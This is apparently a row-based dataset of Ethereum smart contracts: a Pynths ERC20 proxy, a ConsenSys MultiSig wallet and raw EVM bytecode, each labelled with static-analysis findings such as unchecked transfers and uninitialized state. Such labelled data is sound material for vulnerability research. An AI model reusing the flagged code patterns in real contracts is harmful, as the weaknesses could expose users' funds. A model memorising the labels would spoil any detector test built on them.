160ff909116815260200160405180910390f35b341561025c57600080fd5b61011b600160a060020a0360043516602435610914565b341561027e57600080fd5b610302600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610a1695505050505050565b005b341561030f57600080fd5b6101ee600160a060020a0360043516610b70565b341561032e57600080fd5b61011b610b8b565b341561034157600080fd5b610349610bf8565b604051600160a060020a03909116815260200160405180910390f35b341561037057600080fd5b610142610c07565b341561038357600080fd5b610302600160a060020a0360043516602435610c7a565b34156103a557600080fd5b61011b600160a060020a0360043516602435610d62565b34156103c757600080fd5b61011b600160a060020a0360043516610e3d565b34156103e657600080fd5b61011b60048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610e5295505050505050565b341561044b57600080fd5b6101ee600160a060020a0360043516610f1d565b341561046a57600080fd5b6101ee600160a060020a0360043581169060243516610f2f565b341561048f57600080fd5b610302600160a060020a0360043516610f5a565b34156104ae57600080fd5b61011b60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650610ff595505050505050565b341561055557600080fd5b61011b60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061134d95505050505050565b60065460ff1681565b6105ea611aaa565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106805780601f1061065557610100808354040283529160200191610680565b820191906000526020600020905b81548152906001019060200180831161066357829003601f168201915b5050505050905090565b600160a060020a03338116600081815260086020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60055490565b6000600160a060020a038316158015906107165750600082115b801561073b5750600160a060020a038416600090815260076020526040902054829010155b801561076e5750600160a060020a0380851660009081526008602090815260408083203390941683529290522054829010155b80156107935750600160a060020a03841660009081526009602052604090205460ff16155b80156107b85750600160a060020a03831660009081526009602052604090205460ff16155b80156107db5750600160a060020a0384166000908152600a602052604090205442115b80156107fe5750600160a060020a0383166000908152600a602052604090205442115b151561080957600080fd5b600160a060020a038416600090815260076020526040902054610832908363ffffffff61167016565b600160a060020a038086166000908152600760205260408082209390935590851681522054610867908363ffffffff61168216565b600160a060020a038085166000908152600760209081526040808320949094558783168252600881528382203390931682529190915220546108af908363ffffffff61167016565b600160a060020a0380861660008181526008602090815260408083203386168452909152908190209390935590851691600080516020611abd8339815191529085905190815260200160405180910390a35060015b9392505050565b60045460ff1690565b60015460009033600160a060020a0390811691161461093257600080fd5b60065460ff161561094257600080fd5b6000821161094f57600080fd5b600554610962908363ffffffff61168216565b600555600160a060020a03831660009081526007602052604090205461098e908363ffffffff61168216565b600160a060020a0384166000818152600760205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a0383166000600080516020611abd8339815191528460405190815260200160405180910390a350600192915050565b60015460009033600160a060020a03908116911614610a3457600080fd5b60008351118015610a46575081518351145b1515610a5157600080fd5b5060005b8251811015610b6b57818181518110610a6a57fe5b90602001906020020151600a6000858481518110610a8457fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610ab257600080fd5b818181518110610abe57fe5b90602001906020020151600a6000858481518110610ad857fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610b0857fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610b4857fe5b9060200190602002015160405190815260200160405180910390a2600101610a55565b505050565b600160a060020a031660009081526007602052604090205490565b60015460009033600160a060020a03908116911614610ba957600080fd5b60065460ff1615610bb957600080fd5b6006805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b610c0f611aaa565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106805780601f1061065557610100808354040283529160200191610680565b60015433600160a060020a03908116911614610c9557600080fd5b600081118015610cbe5750600160a060020a038216600090815260076020526040902054819010155b1515610cc957600080fd5b600160a060020a038216600090815260076020526040902054610cf2908263ffffffff61167016565b600160a060020a038316600090815260076020526040902055600554610d1e908263ffffffff61167016565b600555600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b6000610d6c611aaa565b600083118015610d955750600160a060020a03331660009081526009602052604090205460ff16155b8015610dba5750600160a060020a03841660009081526009602052604090205460ff16155b8015610ddd5750600160a060020a0333166000908152600a602052604090205442115b8015610e005750600160a060020a0384166000908152600a602052604090205442115b1515610e0b57600080fd5b610e1484611691565b15610e2b57610e24848483611699565b9150610e36565b610e248484836118fc565b5092915050565b60096020526000908152604090205460ff1681565b60008083118015610e7c5750600160a060020a03331660009081526009602052604090205460ff16155b8015610ea15750600160a060020a03841660009081526009602052604090205460ff16155b8015610ec45750600160a060020a0333166000908152600a602052604090205442115b8015610ee75750600160a060020a0384166000908152600a602052604090205442115b1515610ef257600080fd5b610efb84611691565b15610f1257610f0b848484611699565b9050610904565b610f0b8484846118fc565b600a6020526000908152604090205481565b600160a060020a03918216600090815260086020908152604080832093909416825291909152205490565b60015433600160a060020a03908116911614610f7557600080fd5b600160a060020a0381161515610f8a57600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000808411801561101f5750600160a060020a03331660009081526009602052604090205460ff16155b80156110445750600160a060020a03851660009081526009602052604090205460ff16155b80156110675750600160a060020a0333166000908152600a602052604090205442115b801561108a5750600160a060020a0385166000908152600a602052604090205442115b151561109557600080fd5b61109e85611691565b1561133757600160a060020a033316600090815260076020526040902054849010156110c957600080fd5b600160a060020a0333166000908152600760205260409020546110f2908563ffffffff61167016565b600160a060020a033381166000908152600760205260408082209390935590871681522054611127908563ffffffff61168216565b600160a060020a0386166000818152600760205260408082209390935590918490518082805190602001908083835b602083106111755780518252601f199092019160209182019101611156565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b838110156112065780820151838201526020016111ee565b50505050905090810190601f1680156112335780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f19350505050151561125757fe5b826040518082805190602001908083835b602083106112875780518252601f199092019160209182019101611268565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020611abd8339815191528660405190815260200160405180910390a3506001611345565b6113428585856118fc565b90505b949350505050565b6001546000908190819033600160a060020a0390811691161461136f57600080fd5b60008551118015611381575083518551145b151561138c57600080fd5b5060009050805b84518110156116235760008482815181106113aa57fe5b906020019060200201511180156113de57508481815181106113c857fe5b90602001906020020151600160a060020a031615155b801561141e5750600960008683815181106113f557fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156114635750600a600086838151811061143557fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561146e57600080fd5b61149c670de0b6b3a764000085838151811061148657fe5b906020019060200201519063ffffffff611a7f16565b8482815181106114a857fe5b602090810290910101528381815181106114be57fe5b90602001906020020151600760008784815181106114d857fe5b90602001906020020151600160a060020a03168152602081019190915260400160002054101561150757600080fd5b61156084828151811061151657fe5b906020019060200201516007600088858151811061153057fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff61167016565b6007600087848151811061157057fe5b90602001906020020151600160a060020a031681526020810191909152604001600020556115ba8482815181106115a357fe5b90602001906020020151839063ffffffff61168216565b915033600160a060020a03168582815181106115d257fe5b90602001906020020151600160a060020a0316600080516020611abd83398151915286848151811061160057fe5b9060200190602002015160405190815260200160405180910390a3600101611393565b600160a060020a03331660009081526007602052604090205461164c908363ffffffff61168216565b33600160a060020a0316600090815260076020526040902055506001949350505050565b60008282111561167c57fe5b50900390565b60008282018381101561090457fe5b6000903b1190565b600160a060020a0333166000908152600760205260408120548190849010156116c157600080fd5b600160a060020a0333166000908152600760205260409020546116ea908563ffffffff61167016565b600160a060020a03338116600090815260076020526040808220939093559087168152205461171f908563ffffffff61168216565b600160a060020a03861660008181526007602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156117b85780820151838201526020016117a0565b50505050905090810190601f1680156117e55780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561180557600080fd5b6102c65a03f1151561181657600080fd5b505050826040518082805190602001908083835b602083106118495780518252601f19909201916020918201910161182a565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020611abd8339815191528660405190815260200160405180910390a3506001949350505050565b600160a060020a0333166000908152600760205260408120548390101561192257600080fd5b600160a060020a03331660009081526007602052604090205461194b908463ffffffff61167016565b600160a060020a033381166000908152600760205260408082209390935590861681522054611980908463ffffffff61168216565b600160a060020a03851660009081526007602052604090819020919091558290518082805190602001908083835b602083106119cd5780518252601f1990920191602091820191016119ae565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a0316600080516020611abd8339815191528560405190815260200160405180910390a35060019392505050565b600080831515611a925760009150610e36565b50828202828482811515611aa257fe5b041461090457fe5b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058201c533bb49b4e832a6e05004c58a0c97cae997e624f6f7b852c6f310e5b4b557e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
5,669
0x144868500C3244af62FD6B89DDe6Ef2597b34413
/** *Submitted for verification at Etherscan.io on 2021-03-02 */ /* Note: This is a PROXY contract, it defers requests to its underlying TARGET contract. Always use this address in your applications and never the TARGET as it is liable to change. *//* * Pynths : ProxyERC20.sol * * * Contract Dependencies: * - IERC20 * - Owned * - Proxy * Libraries: (none) * * MIT License * =========== * * Copyright (c) 2021 Pynths * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity ^0.5.16; // https://docs.pynthetix.io/contracts/source/contracts/owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "Only the contract owner may perform this action"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // Inheritance // Internal references // https://docs.pynthetix.io/contracts/source/contracts/proxyable contract Proxyable is Owned { // This contract should be treated like an abstract contract /* The proxy this contract exists behind. */ Proxy public proxy; Proxy public integrationProxy; /* The caller of the proxy, passed through to this contract. * Note that every function using this member must apply the onlyProxy or * optionalProxy modifiers, otherwise their invocations can use stale values. */ address public messageSender; constructor(address payable _proxy) internal { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "Owner must be set"); proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setProxy(address payable _proxy) external onlyOwner { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setIntegrationProxy(address payable _integrationProxy) external onlyOwner { integrationProxy = Proxy(_integrationProxy); } function setMessageSender(address sender) external onlyProxy { messageSender = sender; } modifier onlyProxy { _onlyProxy(); _; } function _onlyProxy() private view { require(Proxy(msg.sender) == proxy || Proxy(msg.sender) == integrationProxy, "Only the proxy can call"); } modifier optionalProxy { _optionalProxy(); _; } function _optionalProxy() private { if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) { messageSender = msg.sender; } } modifier optionalProxy_onlyOwner { _optionalProxy_onlyOwner(); _; } // solhint-disable-next-line func-name-mixedcase function _optionalProxy_onlyOwner() private { if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) { messageSender = msg.sender; } require(messageSender == owner, "Owner only function"); } event ProxyUpdated(address proxyAddress); } // Inheritance // Internal references // https://docs.pynthetix.io/contracts/source/contracts/proxy contract Proxy is Owned { Proxyable public target; constructor(address _owner) public Owned(_owner) {} function setTarget(Proxyable _target) external onlyOwner { target = _target; emit TargetUpdated(_target); } function _emit( bytes calldata callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4 ) external onlyTarget { uint size = callData.length; bytes memory _callData = callData; assembly { /* The first 32 bytes of callData contain its length (as specified by the abi). * Length is assumed to be a uint256 and therefore maximum of 32 bytes * in length. It is also leftpadded to be a multiple of 32 bytes. * This means moving call_data across 32 bytes guarantees we correctly access * the data itself. */ switch numTopics case 0 { log0(add(_callData, 32), size) } case 1 { log1(add(_callData, 32), size, topic1) } case 2 { log2(add(_callData, 32), size, topic1, topic2) } case 3 { log3(add(_callData, 32), size, topic1, topic2, topic3) } case 4 { log4(add(_callData, 32), size, topic1, topic2, topic3, topic4) } } } // solhint-disable no-complex-fallback function() external payable { // Mutable call setting Proxyable.messageSender as this is using call not delegatecall target.setMessageSender(msg.sender); assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) /* We must explicitly forward ether to the underlying contract as well. */ let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } modifier onlyTarget { require(Proxyable(msg.sender) == target, "Must be proxy target"); _; } event TargetUpdated(Proxyable newTarget); } // https://docs.pynthetix.io/contracts/source/interfaces/ierc20 interface IERC20 { // ERC20 Optional Views function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); // Views function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); // Mutative functions function transfer(address to, uint value) external returns (bool); function approve(address spender, uint value) external returns (bool); function transferFrom( address from, address to, uint value ) external returns (bool); // Events event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } // Inheritance // https://docs.pynthetix.io/contracts/source/contracts/proxyerc20 contract ProxyERC20 is Proxy, IERC20 { constructor(address _owner) public Proxy(_owner) {} // ------------- ERC20 Details ------------- // function name() public view returns (string memory) { // Immutable static call from target contract return IERC20(address(target)).name(); } function symbol() public view returns (string memory) { // Immutable static call from target contract return IERC20(address(target)).symbol(); } function decimals() public view returns (uint8) { // Immutable static call from target contract return IERC20(address(target)).decimals(); } // ------------- ERC20 Interface ------------- // /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { // Immutable static call from target contract return IERC20(address(target)).totalSupply(); } /** * @dev Gets the balance of the specified address. * @param account The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address account) public view returns (uint256) { // Immutable static call from target contract return IERC20(address(target)).balanceOf(account); } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { // Immutable static call from target contract return IERC20(address(target)).allowance(owner, spender); } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { // Mutable state call requires the proxy to tell the target who the msg.sender is. target.setMessageSender(msg.sender); // Forward the ERC20 call to the target contract IERC20(address(target)).transfer(to, value); // Event emitting will occur via Pynthetix.Proxy._emit() return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { // Mutable state call requires the proxy to tell the target who the msg.sender is. target.setMessageSender(msg.sender); // Forward the ERC20 call to the target contract IERC20(address(target)).approve(spender, value); // Event emitting will occur via Pynthetix.Proxy._emit() return true; } /** * @dev Transfer tokens from one address to another * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom( address from, address to, uint256 value ) public returns (bool) { // Mutable state call requires the proxy to tell the target who the msg.sender is. target.setMessageSender(msg.sender); // Forward the ERC20 call to the target contract IERC20(address(target)).transferFrom(from, to, value); // Event emitting will occur via Pynthetix.Proxy._emit() return true; } }
0x6080604052600436106100f35760003560e01c8063776d1a011161008a57806395d89b411161005957806395d89b4114610473578063a9059cbb14610488578063d4b83992146104c1578063dd62ed3e146104d6576100f3565b8063776d1a011461038157806379ba5097146103b45780638da5cb5b146103c9578063907dff97146103de576100f3565b806323b872dd116100c657806323b872dd146102af578063313ce567146102f257806353a47bb71461031d57806370a082311461034e576100f3565b806306fdde031461017c578063095ea7b3146102065780631627540c1461025357806318160ddd14610288575b60025460408051635e33fc1960e11b815233600482015290516001600160a01b039092169163bc67f8329160248082019260009290919082900301818387803b15801561013f57600080fd5b505af1158015610153573d6000803e3d6000fd5b5050505060405136600082376000803683346002545af13d6000833e80610178573d82fd5b3d82f35b34801561018857600080fd5b50610191610511565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101cb5781810151838201526020016101b3565b50505050905090810190601f1680156101f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021257600080fd5b5061023f6004803603604081101561022957600080fd5b506001600160a01b038135169060200135610648565b604080519115158252519081900360200190f35b34801561025f57600080fd5b506102866004803603602081101561027657600080fd5b50356001600160a01b0316610736565b005b34801561029457600080fd5b5061029d610792565b60408051918252519081900360200190f35b3480156102bb57600080fd5b5061023f600480360360608110156102d257600080fd5b506001600160a01b03813581169160208101359091169060400135610808565b3480156102fe57600080fd5b506103076108ff565b6040805160ff9092168252519081900360200190f35b34801561032957600080fd5b50610332610944565b604080516001600160a01b039092168252519081900360200190f35b34801561035a57600080fd5b5061029d6004803603602081101561037157600080fd5b50356001600160a01b0316610953565b34801561038d57600080fd5b50610286600480360360208110156103a457600080fd5b50356001600160a01b03166109d6565b3480156103c057600080fd5b50610286610a32565b3480156103d557600080fd5b50610332610aee565b3480156103ea57600080fd5b50610286600480360360c081101561040157600080fd5b81019060208101813564010000000081111561041c57600080fd5b82018360208201111561042e57600080fd5b8035906020019184600183028401116401000000008311171561045057600080fd5b919350915080359060208101359060408101359060608101359060800135610afd565b34801561047f57600080fd5b50610191610c06565b34801561049457600080fd5b5061023f600480360360408110156104ab57600080fd5b506001600160a01b038135169060200135610c4b565b3480156104cd57600080fd5b50610332610d04565b3480156104e257600080fd5b5061029d600480360360408110156104f957600080fd5b506001600160a01b0381358116916020013516610d13565b600254604080516306fdde0360e01b815290516060926001600160a01b0316916306fdde03916004808301926000929190829003018186803b15801561055657600080fd5b505afa15801561056a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561059357600080fd5b81019080805160405193929190846401000000008211156105b357600080fd5b9083019060208201858111156105c857600080fd5b82516401000000008111828201881017156105e257600080fd5b82525081516020918201929091019080838360005b8381101561060f5781810151838201526020016105f7565b50505050905090810190601f16801561063c5780820380516001836020036101000a031916815260200191505b50604052505050905090565b60025460408051635e33fc1960e11b815233600482015290516000926001600160a01b03169163bc67f832916024808301928692919082900301818387803b15801561069357600080fd5b505af11580156106a7573d6000803e3d6000fd5b50506002546040805163095ea7b360e01b81526001600160a01b03888116600483015260248201889052915191909216935063095ea7b3925060448083019260209291908290030181600087803b15801561070157600080fd5b505af1158015610715573d6000803e3d6000fd5b505050506040513d602081101561072b57600080fd5b506001949350505050565b61073e610d9f565b600180546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce229181900360200190a150565b600254604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd916004808301926020929190829003018186803b1580156107d757600080fd5b505afa1580156107eb573d6000803e3d6000fd5b505050506040513d602081101561080157600080fd5b5051905090565b60025460408051635e33fc1960e11b815233600482015290516000926001600160a01b03169163bc67f832916024808301928692919082900301818387803b15801561085357600080fd5b505af1158015610867573d6000803e3d6000fd5b5050600254604080516323b872dd60e01b81526001600160a01b03898116600483015288811660248301526044820188905291519190921693506323b872dd925060648083019260209291908290030181600087803b1580156108c957600080fd5b505af11580156108dd573d6000803e3d6000fd5b505050506040513d60208110156108f357600080fd5b50600195945050505050565b6002546040805163313ce56760e01b815290516000926001600160a01b03169163313ce567916004808301926020929190829003018186803b1580156107d757600080fd5b6001546001600160a01b031681565b600254604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156109a457600080fd5b505afa1580156109b8573d6000803e3d6000fd5b505050506040513d60208110156109ce57600080fd5b505192915050565b6109de610d9f565b600280546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f814250a3b8c79fcbe2ead2c131c952a278491c8f4322a79fe84b5040a810373e9181900360200190a150565b6001546001600160a01b03163314610a7b5760405162461bcd60e51b8152600401808060200182810382526035815260200180610deb6035913960400191505060405180910390fd5b600054600154604080516001600160a01b03938416815292909116602083015280517fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c9281900390910190a160018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b031681565b6002546001600160a01b03163314610b53576040805162461bcd60e51b8152602060048201526014602482015273135d5cdd081899481c1c9bde1e481d185c99d95d60621b604482015290519081900360640190fd5b604080516020601f89018190048102820181019092528781528791606091908a908490819084018382808284376000920191909152509293508992505081159050610bbd5760018114610bc85760028114610bd45760038114610be15760048114610bef57610bfa565b8260208301a0610bfa565b868360208401a1610bfa565b85878460208501a2610bfa565b8486888560208601a3610bfa565b838587898660208701a45b50505050505050505050565b600254604080516395d89b4160e01b815290516060926001600160a01b0316916395d89b41916004808301926000929190829003018186803b15801561055657600080fd5b60025460408051635e33fc1960e11b815233600482015290516000926001600160a01b03169163bc67f832916024808301928692919082900301818387803b158015610c9657600080fd5b505af1158015610caa573d6000803e3d6000fd5b50506002546040805163a9059cbb60e01b81526001600160a01b03888116600483015260248201889052915191909216935063a9059cbb925060448083019260209291908290030181600087803b15801561070157600080fd5b6002546001600160a01b031681565b60025460408051636eb1769f60e11b81526001600160a01b03858116600483015284811660248301529151600093929092169163dd62ed3e91604480820192602092909190829003018186803b158015610d6c57600080fd5b505afa158015610d80573d6000803e3d6000fd5b505050506040513d6020811015610d9657600080fd5b50519392505050565b6000546001600160a01b03163314610de85760405162461bcd60e51b815260040180806020018281038252602f815260200180610e20602f913960400191505060405180910390fd5b56fe596f75206d757374206265206e6f6d696e61746564206265666f726520796f752063616e20616363657074206f776e6572736869704f6e6c792074686520636f6e7472616374206f776e6572206d617920706572666f726d207468697320616374696f6ea265627a7a72315820cf26e3b3c34d40710afb51980a79e43343063d0366f9ac4d5c24185a9716465864736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,670
0xd5d34576043fc8ed355efded7460845fd7d71017
pragma solidity 0.4.24; // ---------------------------------------------------------------------------- // ConsenSys/Gnosis MultiSig for 'UCOT' from: // https://github.com/ConsenSys/MultiSigWallet/commit/359c4efb482d97f6a0c0dbea8cd4b95add13bcc4 // // Deployed by Radek Ostrowski / http://startonchain.com // Third-Party Software Disclaimer: Contract is deployed “as is”, without warranty of any kind, // either expressed or implied and such software is to be used at your own risk. // ---------------------------------------------------------------------------- /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. 